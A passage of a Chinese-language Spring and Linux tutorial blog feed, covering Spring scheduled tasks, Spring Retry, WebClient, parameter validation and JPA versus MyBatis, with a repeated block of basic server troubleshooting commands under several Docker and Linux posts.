public class DynamicCronTask implements SchedulingConfigurer {
    
    @Autowired
    private TaskConfigRepository configRepository;
    
    @Override
    public void configureTasks(ScheduledTaskRegistrar taskRegistrar) {
        taskRegistrar.addTriggerTask(
            () -> executeTask(),
            triggerContext -> {
                String cron = configRepository.findCronExpression("myTask");
                return new CronTrigger(cron).nextExecutionTime(triggerContext);
            }
        );
    }
    
    public void executeTask() {
        System.out.println("动态定时任务执行: " + LocalDateTime.now());
    }
}

任务线程池配置

@Configuration
public class SchedulingConfig implements SchedulingConfigurer {
    
    @Override
    public void configureTasks(ScheduledTaskRegistrar taskRegistrar) {
        taskRegistrar.setScheduler(taskExecutor());
    }
    
    @Bean(destroyMethod = "shutdown")
    public Executor taskExecutor() {
        return Executors.newScheduledThreadPool(10);
    }
}

常见问题

1. 任务重叠

@Component
public class OverlappingTask {
    
    // 默认单线程，fixedRate可能导致任务堆积
    @Scheduled(fixedRate = 1000)
    public void run() throws InterruptedException {
        Thread.sleep(3000);  // 耗时3秒
    }
}

解决：使用 fixedDelay 或配置线程池

2. 异常处理

@Component
public class SafeTask {
    
    @Scheduled(fixedRate = 5000)
    public void run() {
        try {
            doWork();
        } catch (Exception e) {
            log.error("定时任务异常", e);
        }
    }
}

3. 分布式环境

Spring Task 不支持分布式锁，多实例会重复执行。

解决：使用 Quartz + JDBC JobStore 或 ShedLock

<dependency>
    <groupId>net.javacrumbs.shedlock</groupId>
    <artifactId>shedlock-spring</artifactId>
    <version>4.x</version>
</dependency>
@Component
public class DistributedTask {
    
    @Scheduled(fixedRate = 5000)
    @SchedulerLock(name = "distributedTask", lockAtMostFor = "10m", lockAtLeastFor = "1m")
    public void run() {
        System.out.println("分布式定时任务执行");
    }
}

Spring Task vs Quartz

特性Spring TaskQuartz
复杂度简单复杂
持久化不支持支持（JDBC/内存）
集群不支持支持
错过策略简单丰富
管理界面无有
适用场景简单单机定时任务复杂分布式调度

总结

场景方案
简单定时任务@Scheduled
动态 CronSchedulingConfigurer + TriggerTask
异步执行@Async + @Scheduled
分布式定时Quartz / ShedLock
多线程自定义线程池

Spring Task 适合简单的单机定时任务场景，复杂调度建议使用 Quartz。

]]> Spring 学习笔记 Spring docker compose 部署单机服务 //docker-compose-bu-shu-dan-ji-fu-wu/ docker compose 部署单机服务

Dockerfile 的分层缓存和镜像优化是部署时最容易忽略的。本文讲一些实用技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker SpringRetry重试机制 //springretry-chong-shi-ji-zhi/ SpringRetry重试机制

Spring Retry 提供了声明式和编程式的重试机制，用于处理暂时性故障（如网络超时、数据库锁等）。

引入依赖

<dependency>
    <groupId>org.springframework.retry</groupId>
    <artifactId>spring-retry</artifactId>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-aspects</artifactId>
</dependency>

启用重试

@Configuration
@EnableRetry
public class RetryConfig {
}

注解式重试

@Retryable

@Service
public class RemoteService {
    
    private static final Logger log = LoggerFactory.getLogger(RemoteService.class);
    
    // 基本重试：遇到异常重试3次
    @Retryable(retryFor = {RemoteAccessException.class}, maxAttempts = 3)
    public String callRemoteApi() {
        log.info("调用远程API...");
        // 可能抛出异常的调用
        return restTemplate.getForObject("https://api.example.com/data", String.class);
    }
    
    // 带退避策略：重试间隔递增
    @Retryable(
        retryFor = {RemoteAccessException.class},
        maxAttempts = 5,
        backoff = @Backoff(delay = 1000, multiplier = 2, maxDelay = 10000)
    )
    public String callWithBackoff() {
        log.info("调用远程API（带退避）...");
        return restTemplate.getForObject("https://api.example.com/data", String.class);
    }
    
    // 指定异常类型
    @Retryable(
        retryFor = {IOException.class, TimeoutException.class},
        noRetryFor = {IllegalArgumentException.class},
        maxAttempts = 3
    )
    public String callWithExceptionFilter() {
        return restTemplate.getForObject("https://api.example.com/data", String.class);
    }
    
    // 根据返回结果重试
    @Retryable(
        retryFor = {RemoteAccessException.class},
        maxAttempts = 3,
        recover = "fallback"
    )
    public String callWithRecover() {
        String result = restTemplate.getForObject("https://api.example.com/data", String.class);
        if (result == null || result.isEmpty()) {
            throw new RemoteAccessException("空结果");
        }
        return result;
    }
    
    // 恢复方法
    @Recover
    public String fallback(RemoteAccessException e) {
        log.warn("远程调用失败，使用降级策略: {}", e.getMessage());
        return "default_data";
    }
}

参数说明

参数说明
retryFor触发重试的异常
noRetryFor不触发重试的异常
maxAttempts最大重试次数（含第一次调用）
backoff退避策略
recover降级方法名

@Backoff 参数

参数说明
delay初始延迟（毫秒）
multiplier延迟倍数
maxDelay最大延迟
random是否随机化延迟
// 固定间隔：1s, 1s, 1s
@Backoff(delay = 1000)

// 指数退避：1s, 2s, 4s, 8s...
@Backoff(delay = 1000, multiplier = 2)

// 指数退避+上限：1s, 2s, 4s, 4s, 4s...
@Backoff(delay = 1000, multiplier = 2, maxDelay = 4000)

// 随机退避：delay ± random%
@Backoff(delay = 1000, random = true)

@CircuitBreaker（熔断器）

@Service
public class CircuitBreakerService {
    
    @Retryable(
        retryFor = {RemoteAccessException.class},
        maxAttempts = 3,
        backoff = @Backoff(delay = 1000)
    )
    @CircuitBreaker(
        retryFor = {RemoteAccessException.class},
        maxAttempts = 3,
        openTimeout = 15000,      // 15秒内失败3次则熔断
        resetTimeout = 30000      // 30秒后尝试恢复
    )
    public String callWithCircuitBreaker() {
        return restTemplate.getForObject("https://api.example.com/data", String.class);
    }
    
    @Recover
    public String fallback(RemoteAccessException e) {
        return "circuit_breaker_fallback";
    }
}

编程式重试

@Service
public class ProgrammaticRetryService {
    
    @Autowired
    private RetryTemplate retryTemplate;
    
    public String callWithRetryTemplate() {
        return retryTemplate.execute(
            context -> {
                System.out.println("第 " + (context.getRetryCount() + 1) + " 次尝试");
                return restTemplate.getForObject("https://api.example.com/data", String.class);
            },
            context -> {
                System.out.println("重试耗尽，执行恢复逻辑");
                return "fallback_data";
            }
        );
    }
}

自定义 RetryTemplate

@Bean
public RetryTemplate retryTemplate() {
    RetryTemplate template = new RetryTemplate();
    
    // 重试策略：最多3次
    SimpleRetryPolicy retryPolicy = new SimpleRetryPolicy(3,
        Collections.singletonMap(RemoteAccessException.class, true));
    template.setRetryPolicy(retryPolicy);
    
    // 退避策略：指数退避
    ExponentialBackOffPolicy backOffPolicy = new ExponentialBackOffPolicy();
    backOffPolicy.setInitialInterval(1000);
    backOffPolicy.setMultiplier(2);
    backOffPolicy.setMaxInterval(10000);
    template.setBackOffPolicy(backOffPolicy);
    
    // 监听器
    template.registerListener(new RetryListener() {
        @Override
        public <T, E extends Throwable> boolean open(RetryContext context, 
                                                      RetryCallback<T, E> callback) {
            System.out.println("开始重试: " + context.getRetryCount());
            return true;
        }
        
        @Override
        public <T, E extends Throwable> void close(RetryContext context, 
                                                    RetryCallback<T, E> callback, 
                                                    Throwable throwable) {
            System.out.println("重试结束");
        }
        
        @Override
        public <T, E extends Throwable> void onError(RetryContext context, 
                                                      RetryCallback<T, E> callback, 
                                                      Throwable throwable) {
            System.out.println("第 " + context.getRetryCount() + " 次重试失败: " + throwable.getMessage());
        }
    });
    
    return template;
}

监听器

@Component
public class LogRetryListener implements RetryListener {
    
    private static final Logger log = LoggerFactory.getLogger(LogRetryListener.class);
    
    @Override
    public <T, E extends Throwable> boolean open(RetryContext context, 
                                                  RetryCallback<T, E> callback) {
        log.info("开始执行: {}, 重试次数: {}", 
            context.getAttribute("context.name"), 
            context.getRetryCount());
        return true;
    }
    
    @Override
    public <T, E extends Throwable> void onError(RetryContext context, 
                                                  RetryCallback<T, E> callback, 
                                                  Throwable throwable) {
        log.warn("执行失败，第 {} 次重试, 异常: {}", 
            context.getRetryCount(), throwable.getMessage());
    }
    
    @Override
    public <T, E extends Throwable> void close(RetryContext context, 
                                                RetryCallback<T, E> callback, 
                                                Throwable throwable) {
        if (throwable != null) {
            log.error("所有重试都失败了: {}", throwable.getMessage());
        } else {
            log.info("执行成功，共重试 {} 次", context.getRetryCount());
        }
    }
}
@Configuration
public class RetryConfig {
    
    @Bean
    public RetryTemplate retryTemplate(LogRetryListener listener) {
        RetryTemplate template = new RetryTemplate();
        template.registerListener(listener);
        return template;
    }
}

最佳实践

场景建议
网络超时使用指数退避，最大延迟 10-30s
数据库死锁少量重试（2-3次），固定短间隔
第三方 API熔断器 + 降级
消息消费根据消息重要性决定重试策略
重试条件只重试暂时性错误，不重试业务错误

注意事项

  1. 幂等性：重试的方法必须是幂等的
  2. 事务：重试可能导致事务问题，需谨慎
  3. 日志：记录重试次数和异常，便于排查
  4. 降级：始终提供降级方案

总结

Spring Retry 提供了灵活的重试机制：

  • 声明式：@Retryable 简单方便
  • 编程式：RetryTemplate 灵活控制
  • 熔断器：@CircuitBreaker 防止雪崩
  • 监听器：观察重试过程

合理使用重试，可以提高系统的容错能力。

]]> Spring 学习笔记 Spring Docker 容器日志和数据卷实践 //docker-rong-qi-ri-zhi-he-shu-ju-juan-shi-jian/ Docker 容器日志和数据卷实践

日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker SpringWebClient异步HTTP调用 //springwebclient-yi-bu-http-diao-yong/ SpringWebClient异步HTTP调用

Spring 5 引入的 WebClient 是新一代 HTTP 客户端，用于替代传统的 RestTemplate，支持响应式编程。

WebClient vs RestTemplate

特性RestTemplateWebClient
编程模型同步阻塞异步非阻塞
底层Apache HttpClient / JDKReactor Netty
线程每请求一线程事件循环
流式响应不支持支持
性能一般高并发更优
维护状态已弃用推荐使用

创建 WebClient

基础创建

// 方式1：使用工厂
WebClient client = WebClient.create();

// 方式2：指定基础URL
WebClient client = WebClient.create("https://api.example.com");

// 方式3：自定义构建
WebClient client = WebClient.builder()
    .baseUrl("https://api.example.com")
    .defaultHeader(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE)
    .defaultHeader(HttpHeaders.AUTHORIZATION, "Bearer " + token)
    .build();

全局配置

@Configuration
public class WebClientConfig {
    
    @Bean
    public WebClient webClient() {
        return WebClient.builder()
            .baseUrl("https://api.example.com")
            .defaultHeaders(headers -> {
                headers.add(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE);
                headers.add(HttpHeaders.USER_AGENT, "MyApp/1.0");
            })
            .filter(logRequest())
            .filter(logResponse())
            .build();
    }
    
    private ExchangeFilterFunction logRequest() {
        return ExchangeFilterFunction.ofRequestProcessor(request -> {
            System.out.println("Request: " + request.method() + " " + request.url());
            return Mono.just(request);
        });
    }
    
    private ExchangeFilterFunction logResponse() {
        return ExchangeFilterFunction.ofResponseProcessor(response -> {
            System.out.println("Response: " + response.statusCode());
            return Mono.just(response);
        });
    }
}

GET 请求

@Service
public class UserApiService {
    
    @Autowired
    private WebClient webClient;
    
    // 获取单个对象
    public Mono<User> getUser(Long id) {
        return webClient.get()
            .uri("/users/{id}", id)
            .retrieve()
            .bodyToMono(User.class);
    }
    
    // 获取列表
    public Flux<User> listUsers() {
        return webClient.get()
            .uri("/users")
            .retrieve()
            .bodyToFlux(User.class);
    }
    
    // 带查询参数
    public Flux<User> searchUsers(String keyword, int page, int size) {
        return webClient.get()
            .uri(uriBuilder -> uriBuilder
                .path("/users/search")
                .queryParam("keyword", keyword)
                .queryParam("page", page)
                .queryParam("size", size)
                .build())
            .retrieve()
            .bodyToFlux(User.class);
    }
    
    // 获取 String
    public Mono<String> getRawData() {
        return webClient.get()
            .uri("/data")
            .retrieve()
            .bodyToMono(String.class);
    }
}

POST/PUT/DELETE

@Service
public class OrderApiService {
    
    @Autowired
    private WebClient webClient;
    
    // POST
    public Mono<Order> createOrder(CreateOrderRequest request) {
        return webClient.post()
            .uri("/orders")
            .bodyValue(request)
            .retrieve()
            .bodyToMono(Order.class);
    }
    
    // POST with form data
    public Mono<String> submitForm(Map<String, String> formData) {
        return webClient.post()
            .uri("/form")
            .contentType(MediaType.APPLICATION_FORM_URLENCODED)
            .bodyValue(formData)
            .retrieve()
            .bodyToMono(String.class);
    }
    
    // PUT
    public Mono<Order> updateOrder(Long id, UpdateOrderRequest request) {
        return webClient.put()
            .uri("/orders/{id}", id)
            .bodyValue(request)
            .retrieve()
            .bodyToMono(Order.class);
    }
    
    // DELETE
    public Mono<Void> deleteOrder(Long id) {
        return webClient.delete()
            .uri("/orders/{id}", id)
            .retrieve()
            .bodyToMono(Void.class);
    }
    
    // PATCH
    public Mono<Order> patchOrder(Long id, Map<String, Object> updates) {
        return webClient.patch()
            .uri("/orders/{id}", id)
            .bodyValue(updates)
            .retrieve()
            .bodyToMono(Order.class);
    }
}

错误处理

@Service
public class ApiService {
    
    public Mono<User> getUserSafe(Long id) {
        return webClient.get()
            .uri("/users/{id}", id)
            .retrieve()
            // 4xx 错误处理
            .onStatus(HttpStatusCode::is4xxClientError, response -> {
                if (response.statusCode() == HttpStatus.NOT_FOUND) {
                    return Mono.error(new NotFoundException("用户不存在"));
                }
                return Mono.error(new BadRequestException("请求错误"));
            })
            // 5xx 错误处理
            .onStatus(HttpStatusCode::is5xxServerError, response ->
                Mono.error(new ServerException("服务器错误")))
            .bodyToMono(User.class)
            // 空值处理
            .switchIfEmpty(Mono.error(new NotFoundException("用户不存在")))
            // 异常恢复
            .onErrorResume(NotFoundException.class, e -> {
                log.warn("用户不存在: {}", id);
                return Mono.just(new User());  // 返回默认值
            });
    }
}

超时与重试

@Service
public class ResilientApiService {
    
    public Mono<User> getUserWithRetry(Long id) {
        return webClient.get()
            .uri("/users/{id}", id)
            .retrieve()
            .bodyToMono(User.class)
            .timeout(Duration.ofSeconds(5))  // 超时5秒
            .retryWhen(Retry.backoff(3, Duration.ofSeconds(1))
                .filter(throwable -> throwable instanceof TimeoutException)
                .doAfterRetry(retrySignal -> 
                    log.warn("重试第{}次", retrySignal.totalRetries())));
    }
    
    // 更复杂的重试策略
    public Mono<Order> createOrderWithRetry(CreateOrderRequest request) {
        return webClient.post()
            .uri("/orders")
            .bodyValue(request)
            .retrieve()
            .bodyToMono(Order.class)
            .retryWhen(Retry.fixedDelay(3, Duration.ofMillis(500))
                .filter(throwable -> {
                    // 只对特定错误重试
                    return throwable instanceof IOException ||
                           (throwable instanceof WebClientResponseException &&
                            ((WebClientResponseException) throwable).getStatusCode() == HttpStatus.SERVICE_UNAVAILABLE);
                })
                .onRetryExhaustedThrow((retryBackoffSpec, retrySignal) ->
                    new ServiceUnavailableException("服务暂时不可用")));
    }
}

并发请求

@Service
public class ParallelApiService {
    
    public Mono<AggregateData> fetchAggregateData(Long userId) {
        Mono<User> userMono = getUser(userId);
        Mono<List<Order>> ordersMono = getOrders(userId).collectList();
        Mono<Wallet> walletMono = getWallet(userId);
        
        return Mono.zip(userMono, ordersMono, walletMono)
            .map(tuple -> {
                AggregateData data = new AggregateData();
                data.setUser(tuple.getT1());
                data.setOrders(tuple.getT2());
                data.setWallet(tuple.getT3());
                return data;
            });
    }
    
    // 批量获取（并行）
    public Flux<User> getUsersParallel(List<Long> ids) {
        return Flux.fromIterable(ids)
            .flatMap(id -> getUser(id)
                .subscribeOn(Schedulers.boundedElastic()), 50);  // 并发数50
    }
}

文件上传/下载

@Service
public class FileService {
    
    // 上传文件
    public Mono<String> uploadFile(FilePart file) {
        MultipartBodyBuilder builder = new MultipartBodyBuilder();
        builder.part("file", file)
            .header("Content-Disposition", 
                "form-data; name=file; filename=" + file.filename());
        
        return webClient.post()
            .uri("/upload")
            .contentType(MediaType.MULTIPART_FORM_DATA)
            .bodyValue(builder.build())
            .retrieve()
            .bodyToMono(String.class);
    }
    
    // 下载文件
    public Mono<byte[]> downloadFile(String fileId) {
        return webClient.get()
            .uri("/files/{id}", fileId)
            .retrieve()
            .bodyToMono(byte[].class);
    }
    
    // 下载大文件（流式）
    public Flux<DataBuffer> downloadLargeFile(String fileId) {
        return webClient.get()
            .uri("/files/{id}", fileId)
            .retrieve()
            .bodyToFlux(DataBuffer.class);
    }
}

完整配置示例

@Bean
public WebClient webClient(ReactorResourceFactory resourceFactory) {
    
    ReactorClientHttpConnector connector = new ReactorClientHttpConnector(
        resourceFactory, client -> client
            .option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 5000)
            .responseTimeout(Duration.ofSeconds(10))
            .doOnConnected(conn -> conn
                .addHandlerLast(new ReadTimeoutHandler(10))
                .addHandlerLast(new WriteTimeoutHandler(10)))
    );
    
    return WebClient.builder()
        .clientConnector(connector)
        .baseUrl("https://api.example.com")
        .defaultHeaders(headers -> {
            headers.add(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE);
            headers.add(HttpHeaders.ACCEPT, MediaType.APPLICATION_JSON_VALUE);
        })
        .filter(ExchangeFilterFunction.ofRequestProcessor(request -> {
            log.debug("Request: {} {}", request.method(), request.url());
            return Mono.just(request);
        }))
        .build();
}

总结

场景方案
简单 GETwebClient.get().uri(...).retrieve().bodyToMono(...)
带参数uri(builder -> builder.queryParam(...))
POST JSON.bodyValue(object)
错误处理.onStatus(...) + .onErrorResume(...)
超时.timeout(Duration)
重试.retryWhen(Retry...)
并发Mono.zip(...) 或 Flux.flatMap(...)

WebClient 是 Spring 生态中推荐的 HTTP 客户端，特别适合微服务间的高并发调用场景。

]]> Spring 学习笔记 Spring Dockerfile 分层缓存和镜像优化 //dockerfile-fen-ceng-huan-cun-he-jing-xiang-you-hua/ Dockerfile 分层缓存和镜像优化

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Docker 服务器 docker SpringValidation参数校验 //springvalidation-can-shu-xiao-yan/ SpringValidation参数校验

Spring Validation 基于 JSR-380（Bean Validation 2.0），提供了一套完整的参数校验机制。

引入依赖

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-validation</artifactId>
</dependency>

常用校验注解

空值检查

注解说明
@Null必须为 null
@NotNull不能为 null
@NotBlank不能为 null 且至少一个非空白字符
@NotEmpty不能为 null 且不为空（字符串/集合/数组）

数值检查

注解说明
@Min最小值
@Max最大值
@Range范围（@Min + @Max）
@DecimalMin最小小数
@DecimalMax最大小数
@Positive正数
@PositiveOrZero正数或零
@Negative负数
@NegativeOrZero负数或零
@Digits小数位数限制

字符串检查

注解说明
@Size长度/大小范围
@Length长度范围（Hibernate）
@Pattern正则匹配
@Email邮箱格式
@URLURL 格式（Hibernate）
@CreditCardNumber信用卡号（Hibernate）

时间检查

注解说明
@Future未来时间
@FutureOrPresent未来或现在
@Past过去时间
@PastOrPresent过去或现在

基本使用

实体校验

@Data
public class UserCreateRequest {
    
    @NotBlank(message = "用户名不能为空")
    @Size(min = 2, max = 20, message = "用户名长度2-20")
    private String username;
    
    @NotBlank(message = "密码不能为空")
    @Size(min = 6, message = "密码至少6位")
    @Pattern(regexp = "^(?=.*[a-zA-Z])(?=.*\\d).+$", 
             message = "密码必须包含字母和数字")
    private String password;
    
    @NotBlank(message = "邮箱不能为空")
    @Email(message = "邮箱格式不正确")
    private String email;
    
    @Min(value = 1, message = "年龄不能小于1")
    @Max(value = 150, message = "年龄不能大于150")
    private Integer age;
    
    @Pattern(regexp = "^1[3-9]\\d{9}$", message = "手机号格式不正确")
    private String phone;
}

控制器使用

@RestController
@RequestMapping("/users")
public class UserController {
    
    @PostMapping
    public Result<Long> create(@Valid @RequestBody UserCreateRequest request) {
        return Result.success(userService.create(request));
    }
    
    @PutMapping("/{id}")
    public Result<Void> update(@PathVariable Long id,
                                @Valid @RequestBody UserUpdateRequest request) {
        userService.update(id, request);
        return Result.success();
    }
}

分组校验

public interface CreateGroup {}
public interface UpdateGroup {}
public interface DeleteGroup {}

@Data
public class UserRequest {
    
    @NotNull(groups = UpdateGroup.class, message = "ID不能为空")
    private Long id;
    
    @NotBlank(groups = {CreateGroup.class, UpdateGroup.class})
    @Size(min = 2, max = 20, groups = {CreateGroup.class, UpdateGroup.class})
    private String username;
    
    @NotBlank(groups = CreateGroup.class)
    @Size(min = 6, groups = CreateGroup.class)
    private String password;
    
    @NotBlank(groups = {CreateGroup.class, UpdateGroup.class})
    @Email(groups = {CreateGroup.class, UpdateGroup.class})
    private String email;
}
@RestController
public class UserController {
    
    @PostMapping("/users")
    public Result<Long> create(
            @Validated(CreateGroup.class) @RequestBody UserRequest request) {
        return Result.success(userService.create(request));
    }
    
    @PutMapping("/users/{id}")
    public Result<Void> update(
            @Validated(UpdateGroup.class) @RequestBody UserRequest request) {
        userService.update(request);
        return Result.success();
    }
}

嵌套校验

@Data
public class OrderCreateRequest {
    
    @NotBlank(message = "订单编号不能为空")
    private String orderNo;
    
    @NotNull(message = "用户ID不能为空")
    private Long userId;
    
    @Valid  // 嵌套校验
    @NotEmpty(message = "订单项不能为空")
    private List<OrderItemRequest> items;
    
    @Valid
    @NotNull(message = "地址不能为空")
    private AddressRequest address;
}

@Data
public class OrderItemRequest {
    @NotBlank(message = "SKU不能为空")
    private String skuId;
    
    @Min(value = 1, message = "数量至少为1")
    private Integer quantity;
    
    @DecimalMin(value = "0.01", message = "单价必须大于0")
    private BigDecimal price;
}

@Data
public class AddressRequest {
    @NotBlank(message = "收件人不能为空")
    private String receiver;
    
    @NotBlank(message = "手机号不能为空")
    @Pattern(regexp = "^1[3-9]\\d{9}$", message = "手机号格式不正确")
    private String phone;
    
    @NotBlank(message = "地址不能为空")
    private String detail;
}

自定义校验注解

手机号校验

@Target({ElementType.FIELD, ElementType.PARAMETER})
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = PhoneValidator.class)
public @interface Phone {
    String message() default "手机号格式不正确";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
}

public class PhoneValidator implements ConstraintValidator<Phone, String> {
    
    private static final Pattern PHONE_PATTERN = Pattern.compile("^1[3-9]\\d{9}$");
    
    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        if (value == null || value.isEmpty()) {
            return true;  // @NotNull/@NotBlank 处理空值
        }
        return PHONE_PATTERN.matcher(value).matches();
    }
}

枚举值校验

@Target({ElementType.FIELD})
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = EnumValueValidator.class)
public @interface EnumValue {
    String message() default "枚举值不正确";
    Class<?>[] groups() default {};
    Class<? extends Payload>[] payload() default {};
    Class<? extends Enum<?>> enumClass();
}

public class EnumValueValidator implements ConstraintValidator<EnumValue, String> {
    
    private Set<String> values;
    
    @Override
    public void initialize(EnumValue annotation) {
        values = Arrays.stream(annotation.enumClass().getEnumConstants())
            .map(Enum::name)
            .collect(Collectors.toSet());
    }
    
    @Override
    public boolean isValid(String value, ConstraintValidatorContext context) {
        if (value == null) return true;
        return values.contains(value);
    }
}

使用自定义注解

@Data
public class UserRequest {
    @Phone
    private String phone;
    
    @EnumValue(enumClass = UserStatus.class, message = "用户状态不正确")
    private String status;
}

public enum UserStatus {
    ACTIVE, INACTIVE, DELETED
}

手动触发校验

@Service
public class UserService {
    
    @Autowired
    private Validator validator;
    
    public void createUser(UserCreateRequest request) {
        // 手动校验
        Set<ConstraintViolation<UserCreateRequest>> violations = 
            validator.validate(request);
        
        if (!violations.isEmpty()) {
            String message = violations.stream()
                .map(ConstraintViolation::getMessage)
                .collect(Collectors.joining(", "));
            throw new ValidationException(message);
        }
        
        // 业务逻辑
    }
    
    // 校验单个属性
    public void validateUsername(String username) {
        Set<ConstraintViolation<UserCreateRequest>> violations = 
            validator.validateValue(UserCreateRequest.class, "username", username);
        // ...
    }
    
    // 分组校验
    public void updateUser(UserRequest request) {
        Set<ConstraintViolation<UserRequest>> violations = 
            validator.validate(request, UpdateGroup.class);
        // ...
    }
}

全局异常处理

@RestControllerAdvice
public class ValidationExceptionHandler {
    
    @ExceptionHandler(MethodArgumentNotValidException.class)
    public Result<Void> handleMethodArgumentNotValid(MethodArgumentNotValidException e) {
        String message = e.getBindingResult().getFieldErrors().stream()
            .map(error -> error.getField() + error.getDefaultMessage())
            .collect(Collectors.joining(", "));
        return Result.fail(400, message);
    }
    
    @ExceptionHandler(ConstraintViolationException.class)
    public Result<Void> handleConstraintViolation(ConstraintViolationException e) {
        String message = e.getConstraintViolations().stream()
            .map(ConstraintViolation::getMessage)
            .collect(Collectors.joining(", "));
        return Result.fail(400, message);
    }
}

总结

Spring Validation 提供了优雅的参数校验方案：

  1. 注解驱动：声明式校验，无侵入
  2. 分组校验：不同场景使用不同规则
  3. 嵌套校验：支持复杂对象结构
  4. 自定义扩展：满足业务特定规则
  5. 手动触发：灵活控制校验时机

合理使用参数校验，可以在入口层就拦截非法数据，减少后续业务逻辑的防御性代码。

]]> Spring 学习笔记 Spring Linux 文件权限和用户组理解 //linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/ Linux 文件权限和用户组理解

Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。

先准备可回滚的操作方式

服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：

pwd
ls -lah
cp app.conf app.conf.bak.$(date +%F-%H%M%S)

如果是 Nginx，改完一定先检查配置：

nginx -t
systemctl reload nginx

如果是 Docker，先看容器状态和日志：

docker ps -a
docker logs --tail=100 <container>

排查顺序

  1. 看服务是否还活着。
  2. 看端口是否监听。
  3. 看日志里是否有明确错误。
  4. 看磁盘、内存、CPU 是否异常。
  5. 修改后用命令或浏览器验证结果。

常用命令：

ss -lntp
df -h
free -m
tail -f /var/log/nginx/error.log

小白要注意什么

不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。

]]> Linux 教程 Linux SpringData JPA与MyBatis对比 //springdata-jpa-yu-mybatis-dui-bi/ SpringData JPA与MyBatis对比

MyBatis 把 SQL 的控制权交给开发者，这是它的优点也是它的难点。动态 SQL、缓存机制、参数处理都是需要掌握的知识点。本文讲实际项目中的使用经验和优化技巧。

设计理念对比

特性JPAMyBatis
设计思想ORM（对象关系映射）SQL Mapping（SQL映射）
SQL 控制自动生成手动编写
学习曲线较陡平缓
灵活性较低高
性能调优较难容易
复杂查询较麻烦方便
数据库迁移容易较麻烦
缓存内置二级缓存需手动配置

JPA 示例

#

实体定义

@Entity
@Table(name = "t_user")
public class User {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    
    @Column(name = "user_name", nullable = false, length = 50)
    private String username;
    
    @Column(name = "email")
    private String email;
    
    @ManyToOne(fetch = FetchType.LAZY)
    @JoinColumn(name = "dept_id")
    private Department department;
    
    @OneToMany(mappedBy = "user", cascade = CascadeType.ALL)
    private List<Order> orders;
}

#

Repository

public interface UserRepository extends JpaRepository<User, Long> {
    
    // 方法名解析查询
    List<User> findByUsernameContainingAndStatus(String username, Integer status);
    
    // JPQL
    @Query("SELECT u FROM User u WHERE u.department.name = :deptName")
    List<User> findByDepartmentName(@Param("deptName") String deptName);
    
    // 原生 SQL
    @Query(value = "SELECT * FROM t_user WHERE create_time > ?1", nativeQuery = true)
    List<User> findRecentUsers(LocalDateTime date);
    
    // 分页
    Page<User> findByStatus(Integer status, Pageable pageable);
    
    // 更新
    @Modifying
    @Query("UPDATE User u SET u.status = ?1 WHERE u.id = ?2")
    int updateStatus(Integer status, Long id);
}

#

使用

@Service
public class UserService {
    @Autowired
    private UserRepository userRepository;
    
    public User getUser(Long id) {
        return userRepository.findById(id).orElse(null);
    }
    
    public Page<User> listUsers(int page, int size) {
        return userRepository.findByStatus(1, PageRequest.of(page, size));
    }
}

MyBatis 示例

#

Mapper XML

<!-- UserMapper.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE mapper PUBLIC "-//mybatis.org//DTD Mapper 3.0//EN" 
    "http://mybatis.org/dtd/mybatis-3-mapper.dtd">

<mapper namespace="com.example.mapper.UserMapper">
    
    <resultMap id="userResultMap" type="com.example.entity.User">
